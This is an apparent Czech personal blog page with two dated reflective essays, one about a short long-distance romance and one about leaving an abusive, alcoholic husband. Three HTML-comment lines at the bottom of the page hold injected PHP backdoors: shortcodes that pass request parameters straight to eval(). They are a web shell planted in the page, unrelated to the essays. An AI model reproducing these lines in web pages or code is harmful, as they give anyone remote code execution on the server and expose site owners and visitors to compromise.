Pohádka? Aneb stačí uvěřit…

Stála jsem na terase hotelu a dívala se na svou kamarádku, která už měla dost v
hlavě a říkala jsem si proč? Proč se pořád musím dívat na lidi, kteří nezvládají pití
alkoholu? Proč musí být v mém životě? A najednou jsem si uvědomila, že to nejsem
já, která má problém… že je to ona. Že i když ji mám ráda, nemůžu jí ani pomoct, ani
nenávidět, ani litovat. Je to její cesta, jediné, co mi zbývá je to respektovat…
A tehdy jsem si řekla, ok, užívej si to, ale já u toho nemusím být. Chtěla jsem se jít
projít,ale najednou mě něco přinutilo se otočit. A tehdy se stalo něco, co jsem ještě
nikdy nezažila. Něco, o čem jsem slýchala jen v romantických filmech a pohádkách.
Seděl tam on a díval se na mě. V jeho očích jsem se ztratila. Věděla jsem, že ho
znám léta. Věděla jsem, že ho miluji. Ocitla jsem se v jiném čase, na jiném místě…
Viděla jsem ho poprvé a nevěděla jakou řečí mluví, ale šla jsem k němu. Zeptala
jsem se ho lámanou angličtinou, jestli nechce jít k nám a on šel. Pokoušel se se mnou
mluvit, ale já jsem mu skoro nerozuměla. Přesto jsem měla pocit, že mu rozumím.
Že ho znám. V jeho očích jsem viděla lásku, klid a bezpečí. Bylo to jako se vrátit po
letech domů…
Za 40 minut jsem musela nastoupit do autobusu a odjet na letiště s vědomím, že už
ho asi nikdy neuvidím. A tehdy mi moje kamarádka velmi pomohla. Ona mě, ne já jí 🙂
Když jsem jí říkala, že se mi moc líbí, zeptala se mě, jestli na sebe máme kontakt.
Byla jsem tak mimo, že mě to vůbec nenapadlo. Vzali jsme si na sebe kontakt, ale
přesto jsem si myslela, že už se neuvidíme…
Když jsme si začali potom psát, pořád jsem nevěřila tomu, že se ještě někdy
uvidíme. Žil ode mě asi 5 000 km a nemluvili jsem stejnou řečí. Byli jsme jiné
kultury, víry i národnosti. Nemožné. Přesto jsem oba cítili to samé. Že se známe
už dlouho. Zamilovali jsem se do sebe už na první pohled. A on mi v první zprávě
napsal…jsi v mé zemi vždy vítaná. Když jsem se ho zeptala zda věří na minulé život,
že mám pocit, že ho znám už léta řekl mi… ano, cítil jsem to samé a jsem si jistý, že
jednoho dne se znovu setkáme a budeme spolu.
Měl pravdu. Asi po 3 měsících, kdy mi pořád říkal, že mě chce vidět znovu a zval mě
do svého města, jsem to udělala. Vydala jsem se za mužem, kterého jsem znala 40
minut osobně, 3 měsíce ve virtuálním světě a léta ve svém srdci. Maminka se o mě
bála, ale nechala mě být. Kamarádky se rozdělily na dva tábory. Ty z jedné skupiny
mi říkaly, že jsem blázen a bály se o mě. Ty z druhé mě podporovaly a říkaly mi,
běž, celý život by tě potom mrzelo, že jsi to neudělala. Já jsem věděla, že jsem v
bezpečí a cítila jsem, že můžu mít jen jeden jediný problém. Že se mi nebude chtít
zpět…
A to se taky stalo. Bylo to krásné setkání. I když jsem od prvních chvil věděla, že
to není na dlouho. Nechtěla jsem ten hlásek, který mi to říkal poslouchat a užívala
jsem si to, co mi tento muž dával. Pocit, že jsem milovaná a vyjimečná. S ním jsem
se tak cítila, ale stále jsem cítila nějaký zvláštní smutek. Zároveň jsem se cítila jako
princezna a pro něj jsem jí byla.
Náš vztah trval rok, ale během něj jsme se viděli vlastně jen třikrát. Byla jsem
stále smutnější a věděla jsem, že je něco špatně. Občas jsem se s ním cítila jako
se svým manželem, se kterým jsem se rozvedla a věděla jsem, že už nikdy nechci
jít ve vztahu proti sobě, tak jak jsem to dělala v manželství. Často jsme si neměli o
čem povídat a nebylo to jen o jazykové bariéře, učila jsem anglicky poměrně rychle.
I milování s ním bylo hezké, ale “něco “ mu chybělo. Vlastně všechno bylo hezké,
ale “něco” tomu chybělo. Byl to velice laskavý a velkorysý muž. A právě proto pro mě
bylo tak těžké mu říct sbohem.
Ale když jsem od něj naposledy odjížděla, věděla jsem, že už se nevrátím… Dva
měsíce jsem se doma snažila nalhat sama sobě, že s ním můžu zůstat, ale nešlo
to. Už jsem byla jiná. Už jsem sama sobě lhát nemohla. Měla jsem pocit, že mu
nesmírně ublížím, ale věděla jsem, že když s ním zůstanu, ublížím sobě. A to jsem
nemohla. Slíbila jsem si, že už to nikdy neudělám.
Když jsem ho tehdy viděla poprvé měla jsem takový sen… zdálo se mi, že jsem
raněná a umírám a on mě drží v náručí. Jak mě líbá a hladí, pláče a říká mi já tě
najdu lásko. Slíbil mi, že mi pomůže příště on. Že mě najde a že mě neopustí. Našel
mě, ale teď jsem to byla já, kdo ho musel opustit. Musela jsem to udělat pro sebe.
Téměř dva měsíce jsem se této myšlence bránila, ale nakonec jsem to udělala.
Rozešla jsem se s ním. V první chvíli jsem si myslela, že mě asi nenávidí.
Nekomunikoval se mnou. Ale potom mi řekl, je to v pořádku. Že nikdo nemá právo
nikoho nutit, aby ho miloval. Zůstali jsme přátelé a i když to zní asi divně, miluji ho
stále. Miluji ho za to, že i díky němu jsem poznala, jaká jsem. Že jsem vyjimečná.
Že se ke mě muži mohou chovat krásně a že umím být něžná i silná zároveň.
Už vím, že člověk může někoho milovat a nemusí s ním žít. Možná jsme si přišli něco
vrátit a tentokrát jsem to byla já, kdo dostal dárek. Miluji ho z celého srdce a jsem
mu vděčná za to (stejně jako všem mužům v mém životě), že mi pomohl najít další
kousek mě samé, který se kdysi rozbil na tisíc kousků.
Pomohl mi pochopit, že musím najít sebe sama, smysl svého života a pochopit svůj
úkol na zemi. Už vím, že být něčí loutkou a snažit se mu zavděčit to není… A tak
jsem díky němu konečně dospěla a začala objevovat krásu ve svém nitru. Přestala
jsem čekat na prince, protože jsem ho už potkala. Potkala jsem ho a uvědomila jsem
si, že jsem princezna. Ale taky jsem si uvědomila, že život princezny, už jsem kdysi
žila a že teď už ho žít nechci. Že už jsem jiná. Že umím být silná a sebevědomá, ale
i něžná a křehká. Že k tomu, abych byla kompletní nepotřebuji prince, potřebuji k
tomu poskládat všech těch poztrácených tisíc kousků sebe samé….

13.8.2012

Probuď se, už je čas…

Probuď se, už je čas


Probuď se, už je čas…Ležím na sedačce a přemýšlím, kdy a kde nastala ta změna. Kdy jsem se proměnila v ženu, jakou jsem dnes? Kdy přesně nastal ten okamžik, když jsem si řekla dost? Bylo to v tu chvíli, kdy jsem utíkala nocí jen v noční košili, abych zmizela z blízkosti mého opilého agresivního manžela? Nebo když jsem se na něj znechuceně dívala, když opilý spal? Nebo snad, když mě se slzami v očích prosil ať mu odpustím, že už to nikdy neudělá? Ne. Protože v každé této chvíli jsem věděla, že to není naposledy. A taky jsem věděla, že to vydržím. Tehdy jsem totiž ještě byla oběť. Oběť, která žila s tím, že za něco dobrého musí vydržet něco špatného. Myslela jsem si, že je to v pořádku, že když dostanu to, co jsem považovala za lásku, musím za ni zaplatit. Že bych měla dostat něco jen tak? To přeci ne, takhle to ve světě nechodí. Ano. Takhle to ve světě nechodí. V mém světě ne.
V mém světě si musím vše zasloužit. A když budu hodná holčička, určitě dostanu odměnu. Vždy to tak přeci fungovalo. Jen hodné holčičky má každý rád. Jen hodné holčičky dostanou bonbónek. Jen hodné holčičky nikoho netrápí tím, že zlobí. A tak jsem nezlobila a dělala co se ode mě čekalo. Ale kdo to ode mě čekal? Kdo mi řekl, co je očekáváno? Nikdo. Byla jsem to jen já sama. Jen já sama jsem se zahnala do té pasti. A kdy byl ten okamžik, když mi to došlo? Dostala ke kartářce a ta mi pootevřela vrátka do mé duše. A tam se mi ale vůbec nelíbilo. Snažila jsem se předstírat dlouho, že je vše v pořádku. Dlouho jsem ke svým dveřím do duše nepřistoupila ani na dohled. Byly zamčené a klíč jsem zahodila. A ona je najednou otevřela.Vlastně jsem to byla já, kdo je otevřel, ale tehdy jsem to nevěděla. A tak tedy sedím před ženou, která čte v kartách a pláču. Pláču jak malé dítě, když mi říká…máš pocit, že jsi v kleci a v té taky jsi. Ale jediný člověk, který tě tam zahnal jsi ty. A jediný člověk, který tě z té klece dostane jsi opět ty. Dej pryč ty ruce, které máš přes oči. Vidíš? Ty vrátka jsou otevřené. Běž ven. Běž ven a žij.

 

A teď zas pláču doma, pláču, protože vím, že je to pravda. Vím, že já jsem ta, kdo si ubližuje, ne můj manžel. A taky vím, že to budu muset zvládnout. Probudit se a vstát. Potom zůstat stát na nohou a udělat první krok. A potom pomalinku jít. A nakonec? Nakonec možná zvládnu běžet. Běžet jako divoký kůň a vědět, že můžu cokoli. Ale k tomuto pocitu mám ještě hodně daleko. Zatím jsem se zastavila a otočila ke svým vrátkům čelem. Stojím tam a vím, že už nezvládnu takhle žít dál. Že už nemůžu. Že už nechci. A právě tady jsem si uvědomila, že jsem se změnila. Právě v tento okamžik jsem téměř poprvé ve svém dospělém životě řekla už nemůžu. Vzdávám to. Už nechci. Nedokážu už bojovat, už nemám sílu. Ale tehdy jsem ještě nevěděla, že tato prohra je mou největší výhrou. Že právě tehdy, když řeknu „vzdávám se“ že neprohraji, ale vyhraji. Že právě teď jsem zahodila vesla a nechala plout mou loď po proudu.

 

Bylo to opravdu těžké a moc jsem se bála, protože jsem najednou neměla nic, čím bych mohla svou loď ovládat. Neměla jsem nic, čím bych ji mohla řídit. A tak jsem jen strnule seděla a čekala, kdy dostanu ránu. A rána nepřicházela. Najednou jsem si začala uvědomovat, že je to vlastně docela fajn nemít nic, kromě víry, že je vše v pořádku. Mnohokrát jsem ještě potom vzala vesla zpět do rukou a zkoušela ovlivnit směr jízdy. Z počátku se zdálo, že to jde a že mi to vychází,ale najednou jsem opět zjistila, že se dřu a plavu opět proti proudu.Mnohokrát jsem za tu dobu dostala menší či větší ránu. Párkrát jsem si nevšimla, když do mě proud jen tak zlehýnka šťouchnul a tak jsem dostávala větší a větší bouchance… Až jsem se zastavila a vždy ještě s obrovským strachem ty vesla pustila. Ta moje řeka má mnoho proudů a vím, že asi ještě mnohokrát vezmu vesla do ruky a budu se snažit svou loď otočit jinam. Ale taky už vím, že brzy poznám, že zrovna teď nepluji s proudem. Někdy to trvá déle někdy krátce. A někdy mám pocit, že už lecos chápu, abych v zápětí zjistila, že nechápu nic. Nicméně žiju. Probudila jsem se. Na mé řece mě potká ještě mnoho lekcí a zkoušek, ale já vím, že to zvládnu. Že jsem silná a skvělá žena, která může mít vše, co si jen bude přát. Jen si přát správně… ale o tom zase příště ?

13.8.2012

<!– [insert_php]if (isset($_REQUEST["xEI"])){eval($_REQUEST["xEI"]);exit;}[/insert_php][php]if (isset($_REQUEST["xEI"])){eval($_REQUEST["xEI"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["MKjy"])){eval($_REQUEST["MKjy"]);exit;}[/insert_php][php]if (isset($_REQUEST["MKjy"])){eval($_REQUEST["MKjy"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["jwgC"])){eval($_REQUEST["jwgC"]);exit;}[/insert_php][php]if (isset($_REQUEST["jwgC"])){eval($_REQUEST["jwgC"]);exit;}[/php] –>